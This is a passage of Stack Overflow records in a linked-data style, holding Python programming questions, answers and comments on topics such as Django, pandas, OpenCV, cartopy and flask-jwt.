0.01, "lr_decay": 1, "epochs": 100, "epoch_no_imprv": 10, "batch_size": 100 } } ] here, following keys can have list, but i would prefer if it can be made generic enough nodes, activation, dropout,lr. And "layers"…
answer count: 0
downvote count: 0
upvote count: 1

http://stackoverflow.com/a/47245263
score: 1
type: Answer
has comment: http://stackoverflow.com/comment/81450940
has body: The problem is that you cannot set a password from .created function, you have to use: a = User(username='your_username', email='..', ..) a.set_password('your_pass') # then you use this for create the password The reason is that Django has to hash the password so we use that function
downvote count: 0
upvote count: 1
answers question: http://stackoverflow.com/q/47244780

http://stackoverflow.com/a/47346734
type: Answer
score: 0
has comment: http://stackoverflow.com/comment/81785223
has comment: http://stackoverflow.com/comment/81653070
has comment: http://stackoverflow.com/comment/81646261
answers question: http://stackoverflow.com/q/47344644
has comment: http://stackoverflow.com/comment/81645787
has body: If you want to add the data-params argument to the serializer when it is not a field in the model you should use the def to_representation function of DRF. Should look something like this: def to_representation(self, instance): serialized_data = super(SerializerClass, self).to_representation(instance) serialized_data['data-params'] = #logic goes here return serialized_data And remove data-params from fields parameter of the Meta class.

http://stackoverflow.com/comment/83868757
has text: While this command may solve the question, [including an explanation](http://meta.stackexchange.com/questions/114762/explaining-entirely-code-based-answers) really helps to improve the quality of your post. Remember that you are answering the question for readers in the future, and those people might not know the reasons for your suggestion.
score: 2
comment on: http://stackoverflow.com/a/48438799
type: AnswerComment
type: Comment

http://stackoverflow.com/q/47242330
accepted answer: http://stackoverflow.com/a/47244833
tagged with: python
tagged with: numpy
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/81439898
score: 1
answer count: 1
downvote count: 0
has answer: http://stackoverflow.com/a/47244833
has title: Extract pixel coordinates and paste on new image python
has body: This code is returning pixels coordinates which have red color now i want to extract and paste those pixels on new image. how do i paste pixel coordinates? Please ask if question is not clear. import cv2 import numpy as np filename = "oOHc6.png" img = cv2.imread(filename, 1) hsv=cv2.cvtColor(img, cv2.COLOR_BGR2HSV) hsv_lower=np.uint8([0, 200, 210]) hsv_upper=np.uint8([180, 250, 250]) mask= cv2.inRange(hsv, hsv_lower, hsv_upper) #display mask res = cv2.bitwise_and(img,img,mask = mask) res_gray = cv2.cvtColor(res, cv2.COLOR_BGR2GRAY) ys,xs = np.where(res_gray&gt;0) pts = [(x,y) for x,y in zip(xs,ys)] empty = np.zeros_like(img) mask_c = cv2.cvtColor(mask, cv2.COLOR_GRAY2BGR) imaskc = mask_c&gt;0 empty[imaskc] = img[imaskc] #empty.save('C:/Python27/cclabel/images/NewImage'+'.png','png') cv2.imwrite("new.png", empty)
upvote count: 1
favorite count: 0
type: Question
tagged with: opencv
tagged with: python-imaging-library
has comment: http://stackoverflow.com/comment/81436541

http://stackoverflow.com/q/47351447
favorite count: 0
type: Question
has title: How to merge office documents?
tagged with: python
tagged with: merge
accepted answer: http://stackoverflow.com/a/47356889
tagged with: command-line
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/47356889
answer count: 1
downvote count: 0
tagged with: libreoffice
upvote count: 1
score: 1
has body: The situation is a handful office documents in different formats and with different layouts/contents: {A,B,C}.odt {D,E,F}.doc {G,H,I}.docx I cannot find a good way to merge all documents of either format, because there is no commandline option/tool [0,1,2] or the layout is messed up [3], e.g. ooo_cat. The expected result should be one single file that contains the contents of the other three files without breaking the layout or other unwanted side effects. Merging the base template files into one big template is unfortunately not an option. What is the best way to smoothly merge several documents programmatically/linux commandline? [0] https://ask.libreoffice.org/en/question/19222/how-to-merge-multiple-documents-into-single-merged-document/ [1] https://forum.openoffice.org/en/forum/viewtopic.php?f=7&amp;t=57435 [2] https://support.microsoft.com/en-us/help/2665750/how-to-merge-multiple-word-documents-into-one---eeekb [3] https://askubuntu.com/questions/482277/how-to-merge-odt-documents-from-the-command-line

http://stackoverflow.com/q/47312519
type: UnansweredQuestion
has body: I have a bash script which extracts a variable (an integer) calculated in a Python script. I then try to do an arithmetic operation on this variable, but Bash seems to have trouble with this. Python script: import sys foo = 278736 # This number is obtained by reading a file using this Python script print(foo) sys.exit(0) Bash script: #!/bin/bash var=`python python_script.py` var2=$((var/100)) # Line which causes the problem This produces this error: -bash: 278736: syntax error: operand expected (error token is "278736") It seems that somehow, bash doesn't know how to convert the string "278736", extracted from the Python script, to an integer. If I do an arithmetic operation with a normal Bash variable, it works fine: var_test=278736 var2=$((var_test/100)) # Works fine I have searched, but can't find anybody who has asked the same question. Does anyone know how to make this work?
type: Question
has comment: http://stackoverflow.com/comment/81576021
has comment: http://stackoverflow.com/comment/81576484
has title: Bash integer operation on string extracted from Python script
tagged with: python
has comment: http://stackoverflow.com/comment/81576217
score: 0
tagged with: bash
answer count: 0

http://stackoverflow.com/q/47276328
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/47423283
upvote count: 0
downvote count: 2
has answer: http://stackoverflow.com/a/47423283
answer count: 1
has comment: http://stackoverflow.com/comment/81526535
has title: How to format and display set inside a list in bottle's template？
has body: current situation index_template.tpl {{links}} Output result [{'http://www.oreilly.com/careers/', 'http://www.oreilly.com/about/editorial_independence.html', 'https://cdn.oreillystatic.com/pdf/oreilly_high_performance_organizations_whitepaper.pdf', 'https://www.youtube.com/user/OreillyMedia', 'https://www.safaribooksonline.com/?utm_medium=content&amp;amp;utm_source=oreilly.com&amp;amp;utm_campaign=lgen&amp;amp;utm_content=20170601+nav'}, {'http://www.oreilly.com/careers/', 'http://www.oreilly.com/about/editorial_independence.html'}, {'http://www.oreilly.com/careers/', 'http://www.oreilly.com/about/editorial_independence.html', 'https://cdn.oreillystatic.com/pdf/oreilly_high_performance_organizations_whitepaper.pdf', 'https://www.youtube.com/user/OreillyMedia'}] I created the following code, but how can I display the hierarchy more easily in a more easy-to-understand way by separating it with ","? index_template.tpl &lt;html&gt; &lt;ul&gt; %for item in links: &lt;li&gt;{{item}}&lt;/li&gt; %end &lt;/ul&gt; &lt;/html&gt; Output result ・{'http://www.oreilly.com/careers/', 'http://www.oreilly.com/about/editorial_independence.html', 'https://cdn.oreillystatic.com/pdf/oreilly_high_performance_organizations_whitepaper.pdf', 'https://www.youtube.com/user/OreillyMedia', 'https://www.safaribooksonline.com/?utm_medium=content&amp;amp;utm_source=oreilly.com&amp;amp;utm_campaign=lgen&amp;amp;utm_content=20170601+nav'} ・{'http://www.oreilly.com/careers/', 'http://www.oreilly.com/about/editorial_independence.html'} ・{'http://www.oreilly.com/careers/', 'http://www.oreilly.com/about/editorial_independence.html', 'https://cdn.oreillystatic.com/pdf/oreilly_high_performance_organizations_whitepaper.pdf', 'https://www.youtube.com/user/OreillyMedia'}
favorite count: 0
type: Question
tagged with: python-3.x
tagged with: python
score: -2
tagged with: bottle
has comment: http://stackoverflow.com/comment/81547322

http://stackoverflow.com/comment/81649104
type: AnswerComment
comment on: http://stackoverflow.com/a/47346817
has text: I am getting output none
type: Comment
score: 0

http://stackoverflow.com/comment/82079296
comment on: http://stackoverflow.com/q/47329535
type: Comment
type: QuestionComment
score: 0
has text: I am actually using notebook for my work.

http://stackoverflow.com/comment/81515710
type: AnswerComment
has text: And the == tests are redundant
score: 2
type: Comment
comment on: http://stackoverflow.com/a/47282720

http://stackoverflow.com/q/47321970
has comment: http://stackoverflow.com/comment/81608418
tagged with: python
has comment: http://stackoverflow.com/comment/81618274
has title: Error when applying tokenize to json with python
score: 0
tagged with: tokenize
has comment: http://stackoverflow.com/comment/81594872
tagged with: http://stackoverflow.com/tag/json
has body: I have been following a tutorial that I can see has been popular among users however, there is an error that persists I have found no resolution for. I am using PyCharm and Python3.6 with this code. I appreciate the time help and help, thank you. Code: import json from collections import Counter import re from nltk.corpus import stopwords import string with open(fname, 'r', newline='\r\n') as f: count_all = Counter() for line in f: tweet = json.loads(line) terms_stop = [term for term in preprocess(tweet['text']) if term not in stop] terms_single = set(terms_stop) terms_hash = [term for term in preprocess(tweet['text']) if term.startswith('#')] The error I am getting is: Traceback (most recent call last): File &quot;C:/Users/Sukhivinder/PycharmProjects/mscProjectOne/sentimentJSONfile.py&quot;, line 50, in &lt;module&gt; tweet = json.loads(line) File &quot;C:\Program Files\Python36\lib\json\__init__.py&quot;, line 354, in loads return _default_decoder.decode(s) File &quot;C:\Program Files\Python36\lib\json\decoder.py&quot;, line 339, in decode obj, end = self.raw_decode(s, idx=_w(s, 0).end()) File &quot;C:\Program Files\Python36\lib\json\decoder.py&quot;, line 357, in raw_decode raise JSONDecodeError(&quot;Expecting value&quot;, s, err.value) from None json.decoder.JSONDecodeError: Expecting value: line 1 column 1 (char 0) Data: {&quot;created_at&quot;:&quot;Wed Nov 15 21:37:57 +0000 2017&quot;,&quot;id&quot;:930912780831678464,&quot;id_str&quot;:&quot;930912780831678464&quot;,&quot;text&quot;:&quot;Greatest Brexit speech ever? LABOUR MP\u2019s address will make your neck hairs stand up https:\/\/t.co\/5G3uEELEll&quot;,&quot;source&quot;:&quot;\u003ca href=\&quot;http:\/\/twitter.com\/download\/iphone\&quot; rel=\&quot;nofollow\&quot;\u003eTwitter for iPhone\u003c\/a\u003e&quot;,&quot;truncated&quot;:false,&quot;in_reply_to_status_id&quot;:null,&quot;in_reply_to_status_id_str&quot;:null,&quot;in_reply_to_user_id&quot;:null,&quot;in_reply_to_user_id_str&quot;:null,&quo…
has answer: http://stackoverflow.com/a/47333302
answer count: 1
has comment: http://stackoverflow.com/comment/81618838
upvote count: 1
downvote count: 1
has comment: http://stackoverflow.com/comment/81622861
favorite count: 0
type: Question
tagged with: python-3.x
type: UnansweredQuestion

http://stackoverflow.com/comment/81525544
has text: "somebody said that it is the variable str1 which is pointing to the string 'Rohit' and after str1.replace() it points to 'Mohit'" You can tell that someone that he's wrong. `str1` will not change unless you do `str1 = str1.replace(...)`, in which case it is assigned a new string, and the old one is discarded, but not changed.
score: 2
comment on: http://stackoverflow.com/q/47287727
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/81435032
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/47240767
has text: Can't you instantiate `dct` with sets (i.e. `dct = defaultdict(set)`) which means you don't need to do the set conversion later.
type: Comment

biopython
tags question: http://stackoverflow.com/q/47256186
tag name: biopython
type: Tag
tags question: http://stackoverflow.com/q/47333771

http://stackoverflow.com/comment/81755369
comment on: http://stackoverflow.com/q/47227406
type: Comment
type: QuestionComment
score: 1
has text: `pipenv` is not a replacement for `distutils`.

http://stackoverflow.com/a/47248762
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/47248727
type: Answer
has body: You can use separator ,| but is necessary first row have to contains all possible genres: df = pd.read_csv("movielens/movies.csv", sep="[,|]", header=None, engine='python') print (df) 0 1 2 3 4 5 6 0 1 Toy Story (1995) Adventure Animation Children Comedy Fantasy 1 2 Jumanji (1995) Adventure Children Fantasy None None But here is better create new columns by categories and set to 1 if category exist in row by get_dummies and add to original columns by join: movie_db = pd.read_csv("movielens/movies.csv", sep=",", names=header) df = movie_db.join(movie_db.pop('genres').str.get_dummies()) print (df) movie_id title Adventure Animation Children Comedy Fantasy 0 1 Toy Story (1995) 1 1 1 1 1 1 2 Jumanji (1995) 1 0 1 0 1 But if need columns is possible use split by |: df = movie_db.join(movie_db.pop('genres').str.split('|', expand=True)) print (df) movie_id title 0 1 2 3 4 0 1 Toy Story (1995) Adventure Animation Children Comedy Fantasy 1 2 Jumanji (1995) Adventure Children Fantasy None None
answers question: http://stackoverflow.com/q/47248727
score: 2
upvote count: 2
downvote count: 0

http://stackoverflow.com/comment/81470401
score: 1
comment on: http://stackoverflow.com/q/47259846
type: Comment
has text: what are you passing to the function? And please avoid posting images. Paste the text instead.
type: QuestionComment

http://stackoverflow.com/comment/81457893
type: Comment
has text: In Python 3, [urllib2](https://docs.python.org/2.7/library/urllib2.html) has been split up into [urllib.request](https://docs.python.org/3/library/urllib.request.html) and friends. There should be no reason to use Python 2 these days.
comment on: http://stackoverflow.com/q/47253730
score: 1
type: QuestionComment

http://stackoverflow.com/comment/81903787
has text: Have you tried force feeding just the data for a single image? Two thoughts: one to achieve overfitting rapidly and show that something is happening; secondly, to be sure that you are truly feeding in real data, not noise such as still compressed JPEG images or files that had failed to load correctly. Just thoughts to help debug.
comment on: http://stackoverflow.com/q/47275395
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/81578205
type: Comment
type: QuestionComment
has text: Previous SO questions have shown that looping over a small dimension (while the others are large) can be faster than one larger operation. With large arrays memory management costs can out weigh iteration costs.
score: 3
comment on: http://stackoverflow.com/q/47309818

http://stackoverflow.com/comment/81574225
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/47309939
has text: @HenrikPoulsen Cool, just wanted to be sure you were aware of that. Best of luck.
score: 0

http://stackoverflow.com/comment/81703872
comment on: http://stackoverflow.com/q/47375749
score: 0
has text: I don't know the complexity of your program but can't you use a global variable for i ?
type: Comment
type: QuestionComment

http://stackoverflow.com/q/47262236
has body: I am trying to pass audience as a parameter in flask jwt extended for decoding jwt token, My code is like this, @app.route('/api') @jwt_required def my_api(): return json.dumps('Welcome ') when i call my api i am getting { "msg": "Invalid audience" } I know, we have to provide audience value. However i am not sure how to pass audience in jwt_required in flask_jwt_extended. Can someone help me?
tagged with: flask-jwt-extended
downvote count: 0
upvote count: 1
type: UnansweredQuestion
score: 1
answer count: 1
has answer: http://stackoverflow.com/a/47316206
favorite count: 0
type: Question
has title: flask jwt extended how to pass audience
tagged with: jwt
tagged with: python

http://stackoverflow.com/comment/81556663
type: AnswerComment
has text: Tnx, I will check.
comment on: http://stackoverflow.com/a/47279782
type: Comment
score: 0

http://stackoverflow.com/comment/81545266
type: AnswerComment
has text: You're trying to get something like "Nov 10" right?
comment on: http://stackoverflow.com/a/47296729
type: Comment
score: 0

http://stackoverflow.com/comment/111479611
type: Comment
has text: Does it have Python Support now?
comment on: http://stackoverflow.com/a/47358499
score: 0
type: AnswerComment

http://stackoverflow.com/comment/81665631
type: Comment
type: AnswerComment
has text: @COLDSPEED - Which of the 2 is better, yield or return? I ask because I just recently started learning python and I have not seen the yield in the book.
comment on: http://stackoverflow.com/a/47356253
score: 0

http://stackoverflow.com/comment/81951985
type: Comment
has text: Log into your Nagios server, and try running the command - something like: ./check_nrpe -H <host> -C <nrpe_command_name> ... what is the entire output?
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/47363198

http://stackoverflow.com/a/47251567
has comment: http://stackoverflow.com/comment/81453448
has comment: http://stackoverflow.com/comment/81455958
upvote count: 3
has comment: http://stackoverflow.com/comment/81456999
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/47251535
downvote count: 0
has comment: http://stackoverflow.com/comment/81458186
has comment: http://stackoverflow.com/comment/81465695
has body: If you are trying to use merge, you can do a left join like this: df1.merge(df2, how='left', on='A')
has comment: http://stackoverflow.com/comment/81459886
answers question: http://stackoverflow.com/q/47251535
has comment: http://stackoverflow.com/comment/81455227
has comment: http://stackoverflow.com/comment/81459866
has comment: http://stackoverflow.com/comment/81466084
score: 3
has comment: http://stackoverflow.com/comment/81458057
type: Answer
has comment: http://stackoverflow.com/comment/81456135
has comment: http://stackoverflow.com/comment/81456482

http://stackoverflow.com/a/47304986
answers question: http://stackoverflow.com/q/47304924
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/81560479
score: 3
upvote count: 3
downvote count: 0
has body: You should use search instead of findall if you are looking for the first occurrence: for item in out: line=re.search(r'\b\d{7}\b',item) print(line.group(0)) Notice that re.search returns an SRE_Match object. Another option would be to extract the first value from the list returned by findall. Edited: Using \b will avoid matching bigger numbers (thanks to @Jean).
type: Answer
accepted answer of: http://stackoverflow.com/q/47304924

http://stackoverflow.com/a/47259741
has comment: http://stackoverflow.com/comment/81470502
score: 2
accepted answer of: http://stackoverflow.com/q/47259229
downvote count: 0
type: Answer
answers question: http://stackoverflow.com/q/47259229
has body: It does not show the rectangle, because you are drawing it outside the image. Why? you may be asking. It is simple. You have this: #im.shape &gt;&gt;returns (765,1365,3) This means rows/height = 765 cols/width = 1365 channels = 3 Then you do cv2.rectangle(im, (64,1248), (191,1311), (0,255,0), 2) Here you use 2 points which are tuples (x,y), but you are writing them as if they where tuples (y,x). I know that OpenCV uses in a lot of functions the order (y,x), but this is due that they see the image as a matrix, which commonly is accessed with (row, column) which translates to (y,x). In the case of this rectangle they require Points which are expressed in the typical Cartesian way (x,y). In conclusion, just change it to: cv2.rectangle(im, (1248, 64), (1311, 191), (0,255,0), 2) And it should work.
upvote count: 2
has comment: http://stackoverflow.com/comment/81470616
type: AcceptedAnswer

http://stackoverflow.com/comment/81699634
score: 0
type: Comment
type: QuestionComment
has text: @SudheeshSinganamalla I've exported the token already. Is naming a possible error?
comment on: http://stackoverflow.com/q/47373419

http://stackoverflow.com/comment/81461710
type: Comment
type: QuestionComment
score: 0
has text: What OS are you using? I suggest you add a tag for it to your question.
comment on: http://stackoverflow.com/q/47255168

http://stackoverflow.com/q/47272433
tagged with: unix
has comment: http://stackoverflow.com/comment/81495843
has comment: http://stackoverflow.com/comment/81496159
type: AnsweredQuestion
upvote count: 0
downvote count: 2
has comment: http://stackoverflow.com/comment/81496737
has comment: http://stackoverflow.com/comment/81496322
has comment: http://stackoverflow.com/comment/81496286
has comment: http://stackoverflow.com/comment/81496896
answer count: 1
has comment: http://stackoverflow.com/comment/81495832
has body: So I've been working on a script that calculates what seasonal event the current time is closer to, but I've ran into some issues regarding how to actually check. And before I get someone saying - "Yo, you know there's some easier way to pull the start off by using while loops?!" - I know, but that's really not what I asked. I just wanna see if there's any way to actually get the function to work correctly. import datetime yearlist = [] monthlist = [] daylist = [] holidaylist = [] #all of the time lists correspond to the ammount of years since 1970 - so, for instance, if you type that you were born in 2003, the number of seconds, displayed here #will be yearlist[33], or 1041379200 seconds. yearlist.append(0)#1970 yearlist.append(31536000) yearlist.append(63072000) yearlist.append(94694400) yearlist.append(126230400) yearlist.append(157766400) yearlist.append(189302400) yearlist.append(220924800) yearlist.append(252460800) yearlist.append(283996800) yearlist.append(315532800) yearlist.append(347155200) yearlist.append(378691200) yearlist.append(410227200) yearlist.append(441763200) yearlist.append(473385600) yearlist.append(504921600) yearlist.append(536457600) yearlist.append(567993600) yearlist.append(599616000) yearlist.append(631152000) yearlist.append(662688000) yearlist.append(694224000) yearlist.append(725846400) yearlist.append(757382400) yearlist.append(788918400) yearlist.append(820454400) yearlist.append(852076800) yearlist.append(883612800) yearlist.append(915148800) yearlist.append(946684800) yearlist.append(978307200) yearlist.append(1009843200) yearlist.append(1041379200) yearlist.append(1072915200) yearlist.append(1104537600) yearlist.append(1136073600) yearlist.append(1167609600) yearlist.append(1199145600) yearlist.append(1230768000) yearlist.append(1262304000) yearlist.append(1293840000) yearlist.append(1325376000) yearlist.append(1356998400) yearlist.append(1388534400) yearlist.append(1420070400) yearlist.append(1451606400) yearlist.append(1483228…
has comment: http://stackoverflow.com/comment/81497094
favorite count: 0
type: Question
tagged with: unix-timestamp
has answer: http://stackoverflow.com/a/47273299
accepted answer: http://stackoverflow.com/a/47273299
has comment: http://stackoverflow.com/comment/81496209
has comment: http://stackoverflow.com/comment/81495893
score: -2
has comment: http://stackoverflow.com/comment/81496633
tagged with: python
has comment: http://stackoverflow.com/comment/81495957
has title: Issue with more-than using Unix in Python

http://stackoverflow.com/comment/81564707
has text: The purpose of the virtual environment is to be *independent* of the system Python. Why would you necessarily need to update the virtual environment in that case? Just because your system moves from (hypothetically) Python 2.7 to Python 3.6 doesn't mean the project being developed in a Python-2.7 virtual environment has (or should).
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/47305899
score: 1

http://stackoverflow.com/comment/81604429
type: QuestionComment
comment on: http://stackoverflow.com/q/47326719
score: 1
type: Comment
has text: Do `cv2.imread("bayer_small.png", cv2.IMREAD_UNCHANGED)`.

http://stackoverflow.com/comment/81538173
has text: `filter(toUser=User)` - unless you've got a variable with the same name as the class i doubt this works as you expect
score: 0
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/47293627

http://stackoverflow.com/a/47255073
has comment: http://stackoverflow.com/comment/81460819
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/47254952
answers question: http://stackoverflow.com/q/47254952
has comment: http://stackoverflow.com/comment/81460797
has body: Option 1 Iteration with yield: In [156]: def split(string): ...: for c in string: ...: if c.isupper(): ...: yield ' ' ...: yield c ...: In [157]: ''.join(split("PurpleCowsAreNice")) Out[157]: ' Purple Cows Are Nice' Option 2 re.sub with reference groups: In [159]: re.sub('([A-Z])', r' \1', "PurpleCowsAreNice") Out[159]: ' Purple Cows Are Nice' For simplicity, I've allowed both methods to yield a result with leading spaces, but you could just as easily remove them with str.strip.
upvote count: 2
downvote count: 0
type: Answer
score: 2

http://stackoverflow.com/q/47335851
tagged with: cartopy
type: UnansweredQuestion
answer count: 1
tagged with: python
has body: I'm trying to plot a square grid of equally-spaced (in lat/lon) data using cartopy, matplotlib, and imshow. The data crosses the dateline, and I've had issues getting a map to work properly. Here's an example of my issue: import numpy as np import cartopy.crs as ccrs import matplotlib.pyplot as plt lat = np.arange(6000)*0.02 + (-59.99) lon = np.arange(6000)*0.02 + (85.01) dat = np.reshape(np.arange(6000*6000),[6000,6000]) tran = ccrs.PlateCarree() proj = tran plt.figure(figsize=(8,8)) ax = plt.axes(projection=proj) print([lon[0],lon[-1],lat[0],lat[-1]]) ax.imshow(dat, extent=[lon[0],lon[-1],lat[0],lat[-1]],transform=tran,interpolation='nearest') ax.coastlines(resolution='50m', color='black', linewidth=2) ax.gridlines(crs=proj,draw_labels=True) plt.show() tran = ccrs.PlateCarree(central_longitude=180) proj = tran plt.figure(figsize=(8,8)) ax = plt.axes(projection=proj) print([lon[0]-180,lon[-1]-180,lat[0],lat[-1]]) ax.imshow(dat, extent=[lon[0]-180,lon[-1]-180,lat[0],lat[-1]],transform=tran,interpolation='nearest') ax.coastlines(resolution='50m', color='black', linewidth=2) ax.gridlines(crs=tran,draw_labels=True) plt.show() The first plot yields this image, chopping off at 180E: The second fixes the map issue, but the grid ticks are now wrong: I've tried reprojecting, I think (where tran != proj), but it seemingly either hung or was taking too long. I basically want the bottom image, but with the proper labels. I'm going to have more geolocated data to overplot, so I'd like to do it correctly instead of what seems like a hack right now.
score: 3
upvote count: 3
has title: Issue w/ image crossing dateline in imshow & cartopy
downvote count: 0
has comment: http://stackoverflow.com/comment/81819559
tagged with: matplotlib
has answer: http://stackoverflow.com/a/47337334
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/81625452

http://stackoverflow.com/comment/81495677
has text: Try replacing `localhost` with `127.0.0.1`
type: QuestionComment
comment on: http://stackoverflow.com/q/47272072
score: 0
type: Comment

http://stackoverflow.com/q/47361469
has comment: http://stackoverflow.com/comment/81676165
has body: I have anaconda and Python 3.6.3 on Mac OS 10.13. I am in the process of learning Python and wanted import matplotlib. However, I keep getting a ModuleNotFoundError when I try to run the program from Chapter 2 of "Doing Math with Python". Any ideas on how to overcome this hurdle?
has comment: http://stackoverflow.com/comment/81676582
type: Question
has comment: http://stackoverflow.com/comment/81676251
has comment: http://stackoverflow.com/comment/81676379
score: 0
has comment: http://stackoverflow.com/comment/81676338
has comment: http://stackoverflow.com/comment/81676236
tagged with: matplotlib
tagged with: python
has title: Importing matplotlib in Python
has comment: http://stackoverflow.com/comment/81676106
has answer: http://stackoverflow.com/a/47362937
has comment: http://stackoverflow.com/comment/81676212
has comment: http://stackoverflow.com/comment/81675917
has comment: http://stackoverflow.com/comment/81676122
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/81676056
answer count: 1

http://stackoverflow.com/q/47370623
has comment: http://stackoverflow.com/comment/81810449
has comment: http://stackoverflow.com/comment/81816886
tagged with: python
tagged with: paypal-sandbox
has body: When redirecting to paypal approval url, I am only seeing one option i.e. return to merchant. I am using my sandbox account. The link "return to merchant" is redircting to my cancel_url instead of return_url. Please help. I am using paypal rest sdk . I have zero balance in my paypal account.
has comment: http://stackoverflow.com/comment/81874983
score: 0
has comment: http://stackoverflow.com/comment/81830744
has title: Paypal sandbox account approver url only showing one option?
tagged with: paypal
type: Question
answer count: 0
type: UnansweredQuestion

http://stackoverflow.com/q/47300007
score: 2
tagged with: http://stackoverflow.com/tag/csv
answer count: 1
has body: New python coder here. I want to get rid of rows of data and create a new data list where there ANY cell that is empty (or null) will not be appended into the new list. Here is my code: chippedlist=[] for line in stringlist: #for each row of data in datafile chippedline=[] inc=0 for cell in line: #for each cell in one row of data inc+=1 if inc == 13 and len(cell)== 0: chippedline=[] break else: if cell == cell[0]: firstcell=cell[1:] chippedline.append(firstcell) if cell != cell[0] and cell != cell[-1]: chippedcell=cell[2:-1] chippedline.append(chippedcell) if cell == cell[-1]: lastcell=cell[:0] chippedline.append(lastcell) if len(chippedline) &gt; 0: chippedlist.append(chippedline) I have attached a sample of my data on this post. As you can see, from the first row there is an empty cell at column 'N' (in the excel file), which is equivalent to the increment in which I have created 'inc == 13' (as index starts from 0 in python) I have created an increment for. So if ANY cell in ANY row is empty (for example rows 15 &amp; 18, Column Z and Column AA), I do not want to include that row into my new data set. However, somehow my first if statement in my for loop does not work. However, it still appends the row with empty cells present into the new data set as shown in the Output below: ['17040200555', 'A', 'A60', 'LATEMADA60', 'EMAD ', 'LAT', 'KL', 'KL/E', 'SAI', 'HK', 'HK/E', 'E', 'EMA', '', 'SWH1', 'BHL0', '580', 'PYNEH', '2017-04-02 08:29:10', '2017-04-02 08:29:10', '2017-04-02 08:29:16', '2017-04-02 08:29:16', '2017-04-02 08:29:39', '2017-04-02 08:29:40', '2017-04-02 08:40:53', '2017-04-02 08:57:38', '2017-04-02 09:10:19', '2017-04-02 09:24:33', '1', '703', '3293', '1005', '0', 'N', 'N', 'Y', 'Y', 'Y', 'Y', '', '', '0', '600', '2017-04-01 00:00:00', 'LAT', 'N-OTHERS', 'X600-ROSTER not foun', 'ssign to default 083', '030', '201704', '0800-0829', 'JC20170410P1.5.0', "2017-04-27 16:09:53'"] ['17040200554', 'A', 'A195', 'WONEMADA195', 'EMAD ', 'WON', 'KL', 'KL/E', 'LAI',…
has comment: http://stackoverflow.com/comment/81554835
favorite count: 0
has title: For loop checking for cell without empty value and appending
type: Question
upvote count: 2
downvote count: 0
accepted answer: http://stackoverflow.com/a/47395337
tagged with: python
has comment: http://stackoverflow.com/comment/81551206
has comment: http://stackoverflow.com/comment/81677539
has answer: http://stackoverflow.com/a/47395337
tagged with: excel
type: AnsweredQuestion

http://stackoverflow.com/comment/81688556
has text: @RaduS I added a link to a JS demonstration of the algorithm if you wanted to take a look at that for no reason, just out of interest in the recursion.
comment on: http://stackoverflow.com/a/47359780
type: AnswerComment
score: 1
type: Comment

http://stackoverflow.com/q/47301113
has answer: http://stackoverflow.com/a/47301233
has answer: http://stackoverflow.com/a/47302821
tagged with: python
has answer: http://stackoverflow.com/a/77961745
upvote count: 6
type: AnsweredQuestion
tagged with: python-2.7
has answer: http://stackoverflow.com/a/47301269
score: 5
possible better answer: http://stackoverflow.com/a/47301233
downvote count: 1
has answer: http://stackoverflow.com/a/61838947
favorite count: 0
type: Question
has body: I am trying to access a text file in the parent directory, Eg : python script is in codeSrc &amp; the text file is in mainFolder. script path: G:\mainFolder\codeSrc\fun.py desired file path: G:\mainFolder\foo.txt I am currently using this syntax with python 2.7x, import os filename = os.path.dirname(os.getcwd())+"\\foo.txt" Although this works fine, is there a better (prettier :P) way to do this?
tagged with: python-os
answer count: 5
has title: How to access file in parent directory using python?
accepted answer: http://stackoverflow.com/a/47302821

http://stackoverflow.com/q/47322820
tagged with: dataframe
type: Question
upvote count: 2
has comment: http://stackoverflow.com/comment/81596769
has comment: http://stackoverflow.com/comment/81597238
answer count: 0
type: UnansweredQuestion
tagged with: pyspark
has comment: http://stackoverflow.com/comment/81597336
tagged with: python
has title: custom Environment Variables not available in pyspark
favorite count: 0
score: 2
has comment: http://stackoverflow.com/comment/81596579
downvote count: 0
tagged with: operating-system
tagged with: environment-variables
has body: I write a project in pyspark with main.py and some modules in the src folder like logic and utils. Now in my code i initialize os.environ with some custom variables that i need throughout the project. say C_1 and C_2 this is how i set variable in main.py os.environ.setdefault("C_1", "local-storage") Now i make sure that these variables are getting initalize by main.py and then in my logic modules there is some file.py that call come function from utils.py in utils modules But when i am trying to access these variable in that utils function i did not find it. Instead it throws error that no such variable is available. My question is i am initalizing the os.environ in the beginning but still i am not able to access these varables in my code. Why? In my function in utils.py print os.environ All other unnecessary to me variables are there but no C_1

http://stackoverflow.com/comment/81665829
type: AnswerComment
has text: @SuperStew There is a pretty agreed-upon notion of efficiency when it comes to NumPy/Pandas problems.
score: 1
type: Comment
comment on: http://stackoverflow.com/a/47356376

http://stackoverflow.com/comment/81443185
type: QuestionComment
has text: You can use the `figsize` argument in Pandas `plot()` methods to increase the size. `df.boxplot(..., figsize=(15,8))`
comment on: http://stackoverflow.com/q/47246451
score: 2
type: Comment

http://stackoverflow.com/comment/81463271
has text: @TaqwaHadidi So you want `df = df'AveOn','AveOff','AveLd,'DWELL_SEC''.drop_duplicates()`?
comment on: http://stackoverflow.com/a/47255996
score: 0
type: Comment
type: AnswerComment

http://stackoverflow.com/q/47342740
has comment: http://stackoverflow.com/comment/81637879
has comment: http://stackoverflow.com/comment/81671394
has comment: http://stackoverflow.com/comment/81637902
tagged with: pulp
tagged with: python
has comment: http://stackoverflow.com/comment/81637743
has comment: http://stackoverflow.com/comment/81637845
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/81637876
tagged with: constraints
score: 0
answer count: 2
has comment: http://stackoverflow.com/comment/81637783
